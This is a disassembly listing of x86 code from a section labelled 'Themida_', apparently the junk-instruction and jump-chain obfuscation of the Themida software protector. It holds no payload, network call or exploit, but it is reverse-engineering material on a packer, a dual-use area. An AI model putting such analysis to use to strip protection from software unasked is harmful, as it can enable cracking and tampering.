Themida_:00599C7Fj push edi jmp loc_5ADBB0 ; --------------------------------------------------------------------------- loc_59D87F: ; CODE XREF: Themida_:0059EC22j pop edx add esp, 4 push 7935h mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59D8A6: ; CODE XREF: Themida_:005AD0A5j and dl, 67h push ebx mov bh, 7Bh jmp loc_5A43E3 ; --------------------------------------------------------------------------- loc_59D8B1: ; CODE XREF: Themida_:005AFCECj pop eax sub esi, 7FDF5FD3h add ebp, esi jmp loc_5A56E2 ; --------------------------------------------------------------------------- loc_59D8BF: ; CODE XREF: Themida_:005AEE08j sub word ptr [esp+4], 1217h pop dx sub word ptr [esp+2], 2487h add [esp+2], cx add word ptr [esp+2], 2487h jmp loc_59CB01 ; --------------------------------------------------------------------------- loc_59D8E0: ; CODE XREF: Themida_:0059BC98j push 1E4h mov [esp], edx mov edx, 6654017Ah xor ebx, edx jmp loc_5A7CD8 ; --------------------------------------------------------------------------- loc_59D8F4: ; CODE XREF: Themida_:0059F5F8j pop ebp sub esp, 4 mov [esp], esi mov esi, 732F4DFBh inc esi jmp loc_5ADAF3 ; --------------------------------------------------------------------------- loc_59D909: ; CODE XREF: Themida_:005AB4DBj mov eax, 1F51366Ah sub eax, 10B7723Eh or eax, 650B784Bh xor eax, 756CB292h jmp loc_5A9DA6 ; --------------------------------------------------------------------------- loc_59D922: ; CODE XREF: Themida_:0059AF64j sub esp, 4 mov [esp], ebp jmp loc_5ADD33 ; --------------------------------------------------------------------------- loc_59D930: ; CODE XREF: Themida_:005AA774j push esp pop edx sub esp, 4 mov [esp], ebp mov ebp, 505F1886h jmp loc_5AD0FF ; --------------------------------------------------------------------------- loc_59D942: ; CODE XREF: Themida_:005A2352j popa retn ; --------------------------------------------------------------------------- loc_59D944: ; DATA XREF: Themida_:005986C0o lodsd xor eax, ebx push ebx mov ebx, 344F7809h xor ebx, 10766F4Dh jo loc_59993F jmp loc_5A2D47 ; --------------------------------------------------------------------------- loc_59D95E: ; CODE XREF: Themida_:0059941Dj not dl mov ah, dl pop edx jmp loc_59AA56 ; --------------------------------------------------------------------------- loc_59D968: ; CODE XREF: Themida_:005A54F7j pop bx jmp loc_59F0B7 ; --------------------------------------------------------------------------- loc_59D96F: ; CODE XREF: Themida_:005994D7j shl ch, 4 not ch push bx push eax mov al, 34h jmp loc_5A65CC ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi jmp loc_5AD3E6 ; --------------------------------------------------------------------------- loc_59D990: ; CODE XREF: Themida_:005A45D0j xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi push esp mov esi, [esp] jmp loc_5A0B73 ; --------------------------------------------------------------------------- loc_59D9A3: ; CODE XREF: Themida_:005AC96Aj mov [esp], ecx sub esp, 4 jmp loc_5AB04F ; --------------------------------------------------------------------------- loc_59D9AE: ; CODE XREF: Themida_:0059DC37j mov [esp], ebp push esp jmp loc_5A831E ; --------------------------------------------------------------------------- loc_59D9B7: ; CODE XREF: Themida_:005A8847j xchg ecx, [esp] mov esp, [esp] add edi, 4 add edi, 4 jmp loc_5A9AE6 ; --------------------------------------------------------------------------- loc_59D9CE: ; CODE XREF: Themida_:005A5B13j ; Themida_:005AD33Bj ... pop ebp jmp loc_5A516D ; --------------------------------------------------------------------------- loc_59D9D4: ; CODE XREF: Themida_:005AD003j add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] push eax push 890h push esp pop dword ptr [esp] push 139Bh mov [esp], ebp push ebx push edx push 1EA7342Eh pop edx jmp loc_5AA102 ; --------------------------------------------------------------------------- loc_59D9FC: ; CODE XREF: Themida_:005A68ECj mov [esp], ebp mov ebp, 2F055A30h shr ebp, 3 js loc_59BC20 neg ebp push 0 sub [esp], ebp pop ebp push eax mov eax, 5E0EB46h xor ebp, eax pop eax mov edi, ebp pop ebp jmp loc_5A3991 ; --------------------------------------------------------------------------- loc_59DA29: ; CODE XREF: Themida_:005AF861j sub edi, ecx pop ecx add edi, esi add edi, 3F133A1Eh jmp loc_5AFB14 ; --------------------------------------------------------------------------- loc_59DA39: ; CODE XREF: Themida_:0059B7AEj pop dword ptr [esp] pop esp or eax, eax jz loc_5A6301 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5A2501 ; --------------------------------------------------------------------------- loc_59DA56: ; CODE XREF: Themida_:005AC8A1j xor [esp], esi jmp loc_5AD3F8 ; --------------------------------------------------------------------------- loc_59DA5E: ; CODE XREF: Themida_:005A002Ej xchg ebx, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 jmp loc_59981A ; --------------------------------------------------------------------------- loc_59DA72: ; CODE XREF: Themida_:005A7156j mov esi, 6D015D4Ah push ebx push edi jmp loc_5A083A ; --------------------------------------------------------------------------- loc_59DA7E: ; CODE XREF: Themida_:005ADDC1j add ebx, 4 jmp loc_5A629B ; --------------------------------------------------------------------------- loc_59DA89: ; CODE XREF: Themida_:005AEB14j pop esi add esi, 39CA6F5Eh pop ebx push ebp mov ebp, 6E415EEBh or esi, ebp mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5A2DB8 ; --------------------------------------------------------------------------- loc_59DAB6: ; CODE XREF: Themida_:loc_5AB026j jmp loc_59C6CF ; --------------------------------------------------------------------------- loc_59DABB: ; CODE XREF: Themida_:005A7EFFj push 56AA506Bh jmp loc_5A6224 ; --------------------------------------------------------------------------- loc_59DAC5: ; CODE XREF: Themida_:005A86A4j dec edx add edx, 0DE34BAFAh mov eax, 0BBD040Fh sub eax, edx mov edx, [esp] add esp, 4 sub ebx, 114F7ECCh sub ebx, 51E577F3h add ebx, eax add ebx, 51E577F3h add ebx, 114F7ECCh pop eax add ebx, 4 jmp loc_59ACCB ; --------------------------------------------------------------------------- loc_59DB02: ; CODE XREF: Themida_:0059ADBBj ; Themida_:005A9D2Ej pop esp mov ecx, [esp] add esp, 4 sub eax, 21216EE9h add eax, edi add eax, 21216EE9h mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_59C7DE ; --------------------------------------------------------------------------- loc_59DB2F: ; CODE XREF: Themida_:0059920Fj ; Themida_:0059FFC1j add ecx, 364136E6h jmp loc_5A4ABF ; --------------------------------------------------------------------------- loc_59DB3A: ; CODE XREF: Themida_:005A105Cj push eax mov eax, esp push ecx mov ecx, 1B53C97h and ecx, 0DAC7350h inc ecx dec ecx push eax mov eax, 1A43014h xor ecx, eax pop eax add eax, 76BD1353h add eax, 6FFB6F94h add eax, ecx sub eax, 6FFB6F94h sub eax, 76BD1353h pop ecx push ebp mov ebp, 4 sub eax, ebp push dword ptr [esp] pop ebp jmp loc_5AC5A3 ; --------------------------------------------------------------------------- loc_59DB7C: ; CODE XREF: Themida_:005AB6D8j add ebp, eax push dword ptr [esp] pop eax jmp loc_5AA99C ; --------------------------------------------------------------------------- loc_59DB87: ; CODE XREF: Themida_:0059EB2Fj sub bl, ch push ecx mov cl, 0FAh shl cl, 2 jmp loc_59F1AC ; --------------------------------------------------------------------------- loc_59DB94: ; CODE XREF: Themida_:005A1F46j add esp, 4 add esp, 4 loc_59DB9D: ; CODE XREF: Themida_:005A726Fj ; Themida_:005A878Ej push dword ptr [edi+24h] jmp loc_5A78E9 ; --------------------------------------------------------------------------- loc_59DBA5: ; CODE XREF: Themida_:loc_59AE14j ; Themida_:005A84C8j jmp loc_59F854 ; --------------------------------------------------------------------------- loc_59DBAA: ; CODE XREF: Themida_:005AA682j dec esi shr esi, 7 jmp loc_5A58FF ; --------------------------------------------------------------------------- loc_59DBB3: ; CODE XREF: Themida_:005AE9A6j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], edx push 7CB44DC6h pop edx push eax jmp loc_59AB36 ; --------------------------------------------------------------------------- loc_59DBCB: ; CODE XREF: Themida_:005A0CF4j push edi push edx jmp loc_5ACB1D ; --------------------------------------------------------------------------- loc_59DBD2: ; CODE XREF: Themida_:0059DCEDj add edi, 65AF539Fh add edi, 1FEA3B7Bh pop ebp std push 0Ah push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5A4ADC ; --------------------------------------------------------------------------- loc_59DBF6: ; CODE XREF: Themida_:005A5C5Fj push eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59DBFD: ; CODE XREF: Themida_:005AC277j add esp, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 44A83359h jmp loc_5A073C ; --------------------------------------------------------------------------- loc_59DC22: ; CODE XREF: Themida_:005A5745j push ebp jmp loc_59B6F8 ; --------------------------------------------------------------------------- loc_59DC28: ; CODE XREF: Themida_:0059AA60j mov eax, [esp] add esp, 4 shr ebx, 3 jmp loc_5AA55A ; --------------------------------------------------------------------------- loc_59DC36: ; CODE XREF: Themida_:005AA2DFj pop esp jmp loc_59D9AE ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 3A8Fh mov [esp], ebp push esp mov ebp, [esp] jmp loc_5AB2CA ; --------------------------------------------------------------------------- loc_59DC62: ; CODE XREF: Themida_:0059DCB1j xor ecx, edx jmp loc_5A1402 ; --------------------------------------------------------------------------- loc_59DC69: ; CODE XREF: Themida_:005AD7FDj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59DC6E: ; CODE XREF: Themida_:0059E427j dec ebp inc ebp dec ebp xor ebp, 0EF7DEFEFh add eax, 2FFA2145h add eax, ebp sub eax, 2FFA2145h jmp loc_5A5A03 ; --------------------------------------------------------------------------- loc_59DC88: ; CODE XREF: Themida_:005AE859j pop edi sub edx, 6FD94CA4h jmp loc_59E06E ; --------------------------------------------------------------------------- loc_59DC94: ; CODE XREF: Themida_:005A7921j push ebp mov ebp, 24F3385Ch not ebp and ebp, 52EB7C04h sub ebp, 0DD91C7A4h mov edx, ebp pop ebp sub edx, 43F406DEh jmp loc_59DC62 ; --------------------------------------------------------------------------- loc_59DCB6: ; CODE XREF: Themida_:005A441Dj mov eax, 208875EEh push esi mov esi, 0DF778A16h jmp loc_59DE0C ; --------------------------------------------------------------------------- loc_59DCC6: ; CODE XREF: Themida_:005ABA33j or edx, 7D16781Fh dec edx xor edx, 0EF55447h xor ebp, edx mov edx, [esp] add esp, 4 not ebp jmp loc_5A2297 ; --------------------------------------------------------------------------- loc_59DCE5: ; CODE XREF: Themida_:0059FE95j push eax jmp loc_5A364D ; --------------------------------------------------------------------------- loc_59DCEB: ; CODE XREF: Themida_:005AC78Cj add edi, ebp jmp loc_59DBD2 ; --------------------------------------------------------------------------- loc_59DCF2: ; CODE XREF: Themida_:005A8BD8j add ebx, 6588C861h mov ebp, ebx jmp loc_5A356E ; --------------------------------------------------------------------------- loc_59DCFF: ; CODE XREF: Themida_:005A0410j mov dh, 76h add dh, 3Eh sub dh, 2Ch jmp loc_5A246D ; --------------------------------------------------------------------------- loc_59DD0C: ; CODE XREF: Themida_:005A74CEj add esi, 507E10D9h add esi, 69A13E1Eh sub esi, 7BD246CFh pop ebx xchg esi, [esp] mov esp, [esp] jmp loc_5AD7F8 ; --------------------------------------------------------------------------- loc_59DD2A: ; CODE XREF: Themida_:005A5E90j inc edx jo loc_5989CB not edx xor edx, 621F45BFh shr edx, 3 sub edx, 9D8D8FACh mov ebx, edx push dword ptr [esp] pop edx add esp, 4 sub ebx, 1 jmp loc_5AAB34 ; --------------------------------------------------------------------------- loc_59DD56: ; CODE XREF: Themida_:005A1584j mov edx, 1A8063A4h shl edx, 6 and edx, 4BE51604h sub edx, 8A2DC049h sub ebx, edx pop edx mov esi, [esp] jmp loc_5A6EFB ; --------------------------------------------------------------------------- loc_59DD75: ; CODE XREF: Themida_:005A9805j mov edi, 1EBD79BFh shr edi, 8 sub edi, 99A4A60h and edi, 356C6CC0h shl edi, 6 or edi, 1D344AB6h xor edi, 744FCB37h sub eax, edi pop edi jmp loc_5A0923 ; --------------------------------------------------------------------------- loc_59DDA0: ; CODE XREF: Themida_:005AAA73j xchg esi, [esp] jmp loc_5993D9 ; --------------------------------------------------------------------------- loc_59DDA8: ; CODE XREF: Themida_:0059F11Cj add ecx, eax add ecx, 6D9441BEh mov eax, [esp] add esp, 4 jmp loc_59E27D ; --------------------------------------------------------------------------- loc_59DDBB: ; CODE XREF: Themida_:005AF841j mov ecx, 737754BBh not ecx inc ecx push edi mov edi, 0FFFFFFFFh jmp loc_5A2124 ; --------------------------------------------------------------------------- loc_59DDCE: ; CODE XREF: Themida_:005A281Fj mov [esp], edx push 49C777F4h pop edx neg edx jle loc_5A0756 jmp loc_5AB8EC ; --------------------------------------------------------------------------- xchg edi, [esp] mov esi, ebx and al, 0F5h loc_59DDEB: ; CODE XREF: Themida_:00599FF3j ; Themida_:005AFC5Bj xor esi, [esp] jmp loc_5AEB05 ; --------------------------------------------------------------------------- loc_59DDF3: ; CODE XREF: Themida_:0059C446j pop ebx push ebp mov ebp, esp add ebp, 4 jmp loc_5A2F2D ; --------------------------------------------------------------------------- loc_59DE02: ; CODE XREF: Themida_:005A1CE0j xor eax, 0E2ABFFF6h jmp loc_5A09BF ; --------------------------------------------------------------------------- loc_59DE0C: ; CODE XREF: Themida_:0059DCC1j add eax, esi pop esi jmp loc_5AE65C ; --------------------------------------------------------------------------- loc_59DE14: ; CODE XREF: Themida_:005A1811j pop edi push 376Eh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], esi push edx push 53A174F1h jmp loc_59F739 ; --------------------------------------------------------------------------- loc_59DE40: ; CODE XREF: Themida_:005A541Fj mov ebx, 6A421636h shr ebx, 3 jmp loc_5AF18B ; --------------------------------------------------------------------------- loc_59DE4D: ; CODE XREF: Themida_:005989E1j ; Themida_:005AF0C5j pop ebp sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ebx push small 7E6Eh pop bx jmp loc_5A67F4 ; --------------------------------------------------------------------------- loc_59DE67: ; CODE XREF: Themida_:005ACFB9j mov ebx, 489B36BFh add ebx, 39AB1E8Fh xor ebx, 37D155E0h sub ebx, 0B59700AAh jmp loc_59B9EF ; --------------------------------------------------------------------------- loc_59DE83: ; CODE XREF: Themida_:005AE04Bj add esp, 4 push edi mov edi, esp push edx mov edx, 4 jmp loc_598A49 ; --------------------------------------------------------------------------- loc_59DE97: ; CODE XREF: Themida_:005AB35Fj xor edx, 77BA378Bh add ebx, edx jmp loc_599771 ; --------------------------------------------------------------------------- loc_59DEA4: ; CODE XREF: Themida_:0059C38Fj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] mov esp, [esp] jmp loc_59A937 ; --------------------------------------------------------------------------- loc_59DEC1: ; CODE XREF: Themida_:005A0882j push dword ptr [esp] pop eax push edi sub esp, 4 push esp pop dword ptr [esp] push edi mov edi, 4 sub dword ptr [esp+4], 730A0674h add [esp+4], edi add dword ptr [esp+4], 730A0674h pop edi pop edi add edi, 4 jmp loc_59A779 ; --------------------------------------------------------------------------- loc_59DEF4: ; CODE XREF: Themida_:005ABD7Bj sub esp, 4 mov [esp], esi jmp loc_5A6FFB ; --------------------------------------------------------------------------- loc_59DF02: ; CODE XREF: Themida_:0059D70Ej ; Themida_:0059E941j add ebp, 0E321D60h jmp loc_5ADC36 ; --------------------------------------------------------------------------- loc_59DF0D: ; CODE XREF: Themida_:0059F3B5j push ebx push eax jmp loc_5A5E29 ; --------------------------------------------------------------------------- loc_59DF14: ; CODE XREF: Themida_:0059D29Fj ; Themida_:005A758Ej push 321Dh mov [esp], ebx mov ebx, 26AC2FFCh jmp loc_5A3986 ; --------------------------------------------------------------------------- loc_59DF26: ; CODE XREF: Themida_:005A716Ej ; Themida_:005A74A6j push ebx mov ebx, 61D74EF5h and edx, ebx pop ebx add edx, 0FFFFFDD4h jmp loc_59D05C ; --------------------------------------------------------------------------- loc_59DF3A: ; CODE XREF: Themida_:00599451j xchg esi, [esp] pop esp jmp loc_5ADA74 ; --------------------------------------------------------------------------- loc_59DF43: ; CODE XREF: Themida_:0059F885j pop esp jmp loc_5A098E ; --------------------------------------------------------------------------- loc_59DF49: ; CODE XREF: Themida_:0059CECEj add edx, 7A3E3D61h pop esi jmp loc_5ABDED ; --------------------------------------------------------------------------- loc_59DF55: ; CODE XREF: Themida_:00599AE5j ; Themida_:0059E338j add esp, 4 add ebx, ebp jmp loc_59C73D ; --------------------------------------------------------------------------- loc_59DF5F: ; CODE XREF: Themida_:005A15C4j xchg ebx, [esp] pop esp jmp loc_5A6F6B ; --------------------------------------------------------------------------- loc_59DF68: ; CODE XREF: Themida_:005AE3E6j add esp, 4 jmp loc_5A29C8 ; --------------------------------------------------------------------------- loc_59DF73: ; CODE XREF: Themida_:0059C103j neg edx add edx, 6580E9B4h add ebx, edx pop edx pop edi xchg ebx, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59DF8E: ; CODE XREF: Themida_:005A5E2Fj jmp loc_59F063 ; --------------------------------------------------------------------------- loc_59DF93: ; CODE XREF: Themida_:005A499Dj xor esi, eax push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_599707 ; --------------------------------------------------------------------------- loc_59DFA9: ; CODE XREF: Themida_:005A70E3j add eax, 61CAC119h mov edx, eax jmp loc_59A886 ; --------------------------------------------------------------------------- loc_59DFB5: ; CODE XREF: Themida_:005AEF6Cj sub edx, 0EDEB65F6h add ebp, edx pop edx or ebp, 67AF58C8h push esi mov esi, 98008115h add ebp, esi mov esi, [esp] add esp, 4 sub edx, 568618EBh add edx, ebp jmp loc_5A4643 ; --------------------------------------------------------------------------- loc_59DFDF: ; CODE XREF: Themida_:005989C6j ; Themida_:0059C6B3j sub esi, 50BC705Dh add esi, 7F7F48C9h mov ecx, [esp] jmp loc_5A0AD1 ; --------------------------------------------------------------------------- loc_59DFF3: ; CODE XREF: Themida_:005A8FC5j push dword ptr [esp] mov ecx, [esp] jmp loc_5A9A81 ; --------------------------------------------------------------------------- loc_59DFFE: ; CODE XREF: Themida_:005A6EE7j add esp, 4 xor esi, 6E482D66h mov ecx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 add ebp, esi pop esi xchg ebp, [esp] jmp loc_5ACF0B ; --------------------------------------------------------------------------- loc_59E01E: ; CODE XREF: Themida_:005999D0j mov eax, ecx jmp loc_59D329 ; --------------------------------------------------------------------------- loc_59E025: ; CODE XREF: Themida_:005A9087j sub eax, esi pop esi xchg eax, [esp] jmp loc_59B041 ; --------------------------------------------------------------------------- loc_59E030: ; CODE XREF: Themida_:005AA004j add edi, eax mov eax, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi jmp loc_59E7F7 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push 1F49h mov [esp], eax push esi mov esi, esp add esi, 4 jmp loc_5A32D9 ; --------------------------------------------------------------------------- loc_59E06E: ; CODE XREF: Themida_:0059DC8Fj mov edi, [esp] add esp, 4 inc edx sub edx, 484A5C40h jmp loc_5AD982 ; --------------------------------------------------------------------------- loc_59E083: ; CODE XREF: Themida_:005A8625j shr eax, 8 sub eax, 0A8C72984h sub esp, 4 mov [esp], eax add dword ptr [esp], 4D615FF9h push dword ptr [esp] jmp loc_5A5DD1 ; --------------------------------------------------------------------------- loc_59E0A0: ; CODE XREF: Themida_:005A92CEj shl ebx, 4 not ebx xor ebx, 8B63DD80h or ecx, ebx pop ebx add ecx, 0DF35ECA4h xor esi, ecx pop ecx add esi, 0EB509BAAh or ebx, esi jmp loc_599F25 ; --------------------------------------------------------------------------- loc_59E0C4: ; CODE XREF: Themida_:005A787Dj pop ebx add edx, 69C34A99h jmp loc_59EA6D ; --------------------------------------------------------------------------- loc_59E0D0: ; CODE XREF: Themida_:005AC469j add edx, 4 add edx, 4 jmp loc_59E619 ; --------------------------------------------------------------------------- loc_59E0DE: ; CODE XREF: Themida_:005A669Ej jmp loc_59FFED ; --------------------------------------------------------------------------- loc_59E0E3: ; CODE XREF: Themida_:005AD0EEj xor [esp], eax xor eax, [esp] pop esp mov [esp], edx push esp pop edx add edx, 4 jmp loc_5AA189 ; --------------------------------------------------------------------------- loc_59E0FA: ; CODE XREF: Themida_:005ACFA2j add esp, 4 sub eax, 50D5325Ch pop ecx pop ebp push edx mov edx, 0E3409CBh inc edx jmp loc_5A837A ; --------------------------------------------------------------------------- loc_59E113: ; CODE XREF: Themida_:00599782j xor dword ptr [esp], 37A421DDh pop ebx xor ebx, 37A421DDh jmp loc_59AB55 ; --------------------------------------------------------------------------- loc_59E126: ; CODE XREF: Themida_:005A54DCj pop eax push ecx not byte ptr [esp+1] pop ecx mov dl, ch pop ecx not dl jmp loc_59D25A ; --------------------------------------------------------------------------- loc_59E137: ; CODE XREF: Themida_:005ACBE8j or al, dl pop edx shr al, 6 jmp loc_5A14B0 ; --------------------------------------------------------------------------- loc_59E142: ; CODE XREF: Themida_:005A9B25j pop ebp neg ebp ja loc_5AA16B push ebp jmp loc_5A2D59 ; --------------------------------------------------------------------------- loc_59E151: ; CODE XREF: Themida_:005AFE3Fj push 30BCh jmp loc_5A4E43 ; --------------------------------------------------------------------------- loc_59E15B: ; CODE XREF: Themida_:005AD636j add ebp, 4 push 3CF4h jmp loc_5A1DA7 ; --------------------------------------------------------------------------- loc_59E16B: ; CODE XREF: Themida_:0059CC1Bj ; Themida_:005AA7F9j mov esi, [esp] add esp, 4 push edi mov edi, 4 add esi, 0E7F6AE7h add esi, edi sub esi, 0E7F6AE7h pop edi jmp loc_5A0A77 ; --------------------------------------------------------------------------- loc_59E18E: ; CODE XREF: Themida_:0059E519j sub cl, 14h jmp loc_5A45E0 ; --------------------------------------------------------------------------- loc_59E196: ; CODE XREF: Themida_:005A19ACj mov esi, [esp] add esp, 4 push ebx mov ebx, 4 sub eax, ebx jmp loc_5A68E0 ; --------------------------------------------------------------------------- loc_59E1A9: ; CODE XREF: Themida_:005999B1j mov dl, 69h sub bl, dl pop edx add bl, 4 sub bl, al sub bl, 4 push edx mov dl, 64h jmp loc_5A9B14 ; --------------------------------------------------------------------------- loc_59E1BE: ; CODE XREF: Themida_:005A58CBj mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E1C6: ; CODE XREF: Themida_:005A1666j mov ebx, 68607FCCh xor ebx, 5D13405Dh jmp loc_5A0E4A ; --------------------------------------------------------------------------- loc_59E1D6: ; CODE XREF: Themida_:005A15A4j push 4A22h mov [esp], edx push 1B78h mov [esp], ebp push ebx mov ebx, 3EED64A0h mov ebp, 2C730B8Bh add ebp, ebx pop ebx mov edx, 0AE13AD30h sub edx, ebp pop ebp push edi jmp loc_5AA123 ; --------------------------------------------------------------------------- loc_59E202: ; CODE XREF: Themida_:005A38A6j sub ebx, 4085115Fh push edi mov edi, 1D533DADh add ebx, edi jmp loc_5A0E38 ; --------------------------------------------------------------------------- loc_59E215: ; CODE XREF: Themida_:005A0378j xor eax, 77D5A16h push eax jmp loc_598F26 ; --------------------------------------------------------------------------- loc_59E220: ; CODE XREF: Themida_:0059AF19j push esi jmp loc_5A7E3D ; --------------------------------------------------------------------------- loc_59E226: ; CODE XREF: Themida_:005A1E17j push eax mov eax, 2C91396Ah xor eax, 7A664B68h sub eax, 332B628Dh neg eax add eax, 1A5C0795h sub ecx, eax pop eax add eax, ecx pop ecx jmp loc_59FA4F ; --------------------------------------------------------------------------- loc_59E248: ; CODE XREF: Themida_:005A89EFj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_5A6918 ; --------------------------------------------------------------------------- loc_59E25A: ; CODE XREF: Themida_:0059987Aj ; Themida_:005A9224j add edx, ecx pop ecx or edi, edx pop edx push edx mov edx, 92E24A1h add edx, 57B8067Dh add edx, 47936594h add edx, 9540D747h jmp loc_59ADC7 ; --------------------------------------------------------------------------- loc_59E27D: ; CODE XREF: Themida_:0059DDB6j sub ecx, edx sub ecx, 323F1637h jmp loc_599EB2 ; --------------------------------------------------------------------------- loc_59E28A: ; CODE XREF: Themida_:005ABB29j add esi, 4 add esi, 4 jmp loc_5AF38E ; --------------------------------------------------------------------------- loc_59E298: ; CODE XREF: Themida_:005AFB94j push ecx push esp mov ecx, [esp] add esp, 4 push ebx jmp loc_59E7B2 ; --------------------------------------------------------------------------- loc_59E2A9: ; CODE XREF: Themida_:0059AA77j mov ebp, 4 push ebp mov ebp, 7B5A3BCCh sub ecx, ebp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, ebp add ecx, 7B5A3BCCh pop ebp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5AF0EE ; --------------------------------------------------------------------------- loc_59E2E1: ; CODE XREF: Themida_:005AB99Aj mov eax, [esp] add esp, 4 push dword ptr [edx] push ecx mov ecx, 31422D66h sub dword ptr [esp+4], 2F9A0FC6h sub [esp+4], ecx add dword ptr [esp+4], 2F9A0FC6h pop ecx pop ecx jmp loc_5AF642 ; --------------------------------------------------------------------------- loc_59E30D: ; CODE XREF: Themida_:0059E6B4j mov ebp, 3042F62h jmp loc_59A985 ; --------------------------------------------------------------------------- loc_59E317: ; CODE XREF: Themida_:0059EC48j ; Themida_:0059FDE5j pop ecx jmp loc_5AF9AD ; --------------------------------------------------------------------------- loc_59E31D: ; CODE XREF: Themida_:0059C37Dj ; Themida_:0059C396j mov ebx, [esp] add esp, 4 jmp loc_599849 ; --------------------------------------------------------------------------- loc_59E328: ; CODE XREF: Themida_:005A95E5j mov [esp], edi mov edi, 5B8D055Ch push ebx jmp loc_59CF07 ; --------------------------------------------------------------------------- loc_59E336: ; CODE XREF: Themida_:005A8A72j not dh jmp loc_59DF55 ; --------------------------------------------------------------------------- loc_59E33D: ; CODE XREF: Themida_:loc_59D5D5j add eax, 46C67C25h mov edi, eax jmp loc_59EC27 ; --------------------------------------------------------------------------- loc_59E349: ; CODE XREF: Themida_:loc_5A42CBj xor edx, 6AAB78A0h jnz loc_5A6843 jmp loc_5A7E52 ; --------------------------------------------------------------------------- dec word ptr [esp] pushf loc_59E35F: ; CODE XREF: Themida_:005A81D5j mov ecx, 14C42EDCh inc ecx xor ecx, 52305EAFh shr ecx, 6 add ecx, 44D03FD9h jmp loc_5A6393 ; --------------------------------------------------------------------------- loc_59E379: ; CODE XREF: Themida_:005A1497j xchg ebx, [esp] jmp loc_5A4458 ; --------------------------------------------------------------------------- loc_59E381: ; CODE XREF: Themida_:005A84ECj ; Themida_:005AA7BFj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub ebx, 4 jmp loc_59FC69 ; --------------------------------------------------------------------------- loc_59E3A0: ; CODE XREF: Themida_:005A7661j mov ecx, [esp] jmp loc_5A8964 ; --------------------------------------------------------------------------- loc_59E3A8: ; CODE XREF: Themida_:005A98D5j pop ebp pop edx sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp inc word ptr [esp] pushf jmp loc_5A9BDB ; --------------------------------------------------------------------------- loc_59E3C6: ; CODE XREF: Themida_:005A37EFj xor ebx, eax jmp loc_5AEA11 ; --------------------------------------------------------------------------- loc_59E3CD: ; CODE XREF: Themida_:005A9744j push esp pop dword ptr [esp] push ebp jmp loc_5AA069 ; --------------------------------------------------------------------------- loc_59E3D7: ; CODE XREF: Themida_:0059B039j ; Themida_:0059BD6Fj and eax, 645290Ch jmp loc_59E557 ; --------------------------------------------------------------------------- loc_59E3E1: ; CODE XREF: Themida_:00599476j sub edi, 1 jmp loc_5A0F71 ; --------------------------------------------------------------------------- loc_59E3E9: ; CODE XREF: Themida_:005A01FDj shr esi, 7 jmp loc_5A73CE ; --------------------------------------------------------------------------- loc_59E3F1: ; CODE XREF: Themida_:005ABB21j dec edx and edx, 3AA84BCCh jo loc_5AB379 push eax mov eax, 410A65E2h jmp loc_59BB80 ; --------------------------------------------------------------------------- loc_59E409: ; CODE XREF: Themida_:005AC009j add ecx, 4 jmp loc_5A5B89 ; --------------------------------------------------------------------------- loc_59E414: ; CODE XREF: Themida_:0059BCD2j add eax, 4 push ebp mov ebp, 18DE187Bh and ebp, 16837497h not ebp jmp loc_59DC6E ; --------------------------------------------------------------------------- loc_59E42C: ; CODE XREF: Themida_:005A8958j pop ebp sub ecx, 5791D2Ah add ecx, edx add ecx, 5791D2Ah jmp loc_59D542 ; --------------------------------------------------------------------------- loc_59E440: ; CODE XREF: Themida_:0059F6C0j push ebp mov ebp, 119561A2h jmp loc_5AD670 ; --------------------------------------------------------------------------- loc_59E44B: ; CODE XREF: Themida_:005A6C1Aj push 361Ch mov [esp], esp add dword ptr [esp], 4 jmp loc_5A7B29 ; --------------------------------------------------------------------------- loc_59E45C: ; CODE XREF: Themida_:005992DCj add ebp, 61361196h jmp loc_5AD6BF ; --------------------------------------------------------------------------- loc_59E467: ; CODE XREF: Themida_:005A32E8j mov ebp, 4 add [esp+4], ebp pop ebp pop eax add eax, 4 push edx push esi jmp loc_59D459 ; --------------------------------------------------------------------------- loc_59E47E: ; CODE XREF: Themida_:005A85B2j add ecx, 99EBEEC4h jmp loc_5A5451 ; --------------------------------------------------------------------------- loc_59E489: ; CODE XREF: Themida_:005A3EF7j add eax, 63B223FFh add eax, edi push ebx mov ebx, 63B223FFh sub eax, ebx jmp loc_5A9B65 ; --------------------------------------------------------------------------- 